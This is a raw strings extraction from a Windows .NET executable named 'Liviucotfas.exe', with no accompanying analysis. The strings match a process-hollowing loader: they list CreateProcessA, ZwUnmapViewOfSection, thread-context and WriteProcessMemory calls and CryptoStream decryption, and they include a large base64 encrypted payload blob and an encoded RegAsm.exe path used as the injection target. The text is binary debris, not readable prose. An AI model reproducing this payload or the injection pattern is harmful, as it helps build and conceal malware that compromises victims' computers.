!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Reserved1
kernel32
ToUInt32
ToInt32
Reserved2
ToInt16
get_UTF8
<Module>
CreateProcessA
LoadLibraryA
nQEacrO6tB
System.IO
mscorlib
ThreadId
ProcessId
GetProcessById
bytesRead
ResumeThread
thread
payload
GetMethod
method
CryptoStreamMode
EndInvoke
BeginInvoke
IDisposable
ThreadHandle
RuntimeTypeHandle
GetTypeFromHandle
ProcessHandle
handle
get_Name
applicationName
commandLine
ValueType
get_ParameterType
MethodBase
Dispose
Create
CreateProcessA_Delegate
ResumeThread_Delegate
ZwUnmapViewOfSection_Delegate
Wow64GetThreadContext_Delegate
Wow64SetThreadContext_Delegate
VirtualAllocEx_Delegate
ReadProcessMemory_Delegate
WriteProcessMemory_Delegate
MulticastDelegate
EmbeddedAttribute
CompilerGeneratedAttribute
GuidAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
ObfuscationAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
IsReadOnlyAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
Liviucotfas.exe
get_Size
bufferSize
SizeOf
Encoding
System.Runtime.Versioning
FromBase64String
GetString
length
LoadApi
CreateApi
AsyncCallback
callback
Marshal
CryptoStream
MemoryStream
Program
System
SymmetricAlgorithm
ICryptoTransform
bytesWritten
StartupInformation
ProcessInformation
processInformation
ZwUnmapViewOfSection
System.Reflection
Exception
MethodInfo
startupInfo
MemberInfo
ParameterInfo
Desktop
Buffer
buffer
GetDelegateForFunctionPointer
BitConverter
StdError
.cctor
CreateDecryptor
IntPtr
Liviucotfas
System.Diagnostics
GetMethods
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
inheritHandles
threadAttributes
processAttributes
GetBytes
creationFlags
Microsoft.CodeAnalysis
ReturnParams
GetParameters
hProcess
process
GetProcAddress
baseAddress
address
Object
object
protect
IAsyncResult
result
environment
Decrypt
Convert
StdInput
StdOutput
System.Text
Wow64GetThreadContext
Wow64SetThreadContext
context
VirtualAllocEx
startIndex
ToArray
System.Security.Cryptography
ReadProcessMemory
WriteProcessMemory
currentDirectory
op_Equality
WrapNonExceptionThrows
Liviucotfas
Copyright
Liviucotfas 2024
$45686882-4992-4a9b-8b48-1c1257656f6c
3.5.4.3
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
Exclude
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Ef+hNgbDtRYDAVtsXjYmNesirAYwMzZMRilDMksYkXutZZ71bc1sGEiEEfuubShzI5u8JGUnmjsQrPukn9RL74Y+UdkGiZzo/52VHzYRUQZyNvaVp/5f6s78qzDDgbX+1FEbMhQASifRLY2DkzLO0L6dDOmjrVqrH6O/qcYiV/FCfki8CVJ9M6DZZjiZYEXutBz9u85YFkb507uw8JvTESKIL25Vh4irLpxlScf+NjCg1QBHnpjqr6nywgZNaD3LMyBMS3LwZ3D061O7wgRbfRMc2zYSl1s//cxkfnItex3Nk3VAAssFtKVQ4/vG6REuI1J1ndWs1ulS0a67npD6TNgu+vghw+cOKWw0+wgoaDYgqCJBPhj8vtRyHFmzKapQR4dGW37hvub+JiSF5w+PAmB9CeyQO+BPEhKHBrXUP+U7KwN9NjFIvM5AHdN2VatT2HWr3p6mhkmrjAdFeJ44GzIIeQeIYDneKh0zjhjUKUKpqg7owowPtQfq84Xs95Hg5sWrrN7EdYiGoIJw9N1U1UeAYuTryK36g9hicgxhoDNk4g8TFNwQpu1vS1Z8rnVuH1074R5q2vNJI1oC1EXKYPu+k/kHVVBsFp59JjyztFFyXJmrX71elJg75QK8kWdAivLExApg8iKMy/MDg6TOI1pBCan+wItZ+RMp3toVjMuinO6gjSq1bwDLPhtXqvnttMUBDo87pNbXK3DJufHRC6We2lc5fJ0p3PJNc2FB6ExoYKabxDbe1ExClR53V1PEf8zgeoT+mb0VOPCBq0bd9Mb717kdnSJccbcEImSTyf8RQEp4zcfc81CMhi4WJEJOo0TWfPbHWRiRFASKqH8ZknYtu6Tu99Cmck5qSaZLrbMXMQrpWx5ZUKX64OD66VxOpt6MrMMKU8r/KBO8MEa29DaUFpX01xvMqstzFmppp6vSFuz1dmRUidaK9QZ/BFgeXV0YubXCbVdPJZG/pqq6y6z8o5V2n0yggHNQIpILfIWj40zUKZuvlYEh0gQpFyBx
QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2NC4wLjMwMzE5XFJlZ0FzbS5leGU=
ToInt16
ToInt32
GetBytes
kernel32
ResumeThread
Wow64SetThreadContext
SetThreadContext
Wow64GetThreadContext
GetThreadContext
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
ZwUnmapViewOfSection
CreateProcessA
BlockCopy
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
Liviucotfas
CompanyName
Liviucotfas
FileDescription
Liviucotfas
FileVersion
3.5.4.3
InternalName
Liviucotfas.exe
LegalCopyright
Copyright
Liviucotfas 2024
LegalTrademarks
Liviucotfas
OriginalFilename
Liviucotfas.exe
ProductName
Liviucotfas
ProductVersion
3.5.4.3
Assembly Version
3.5.4.3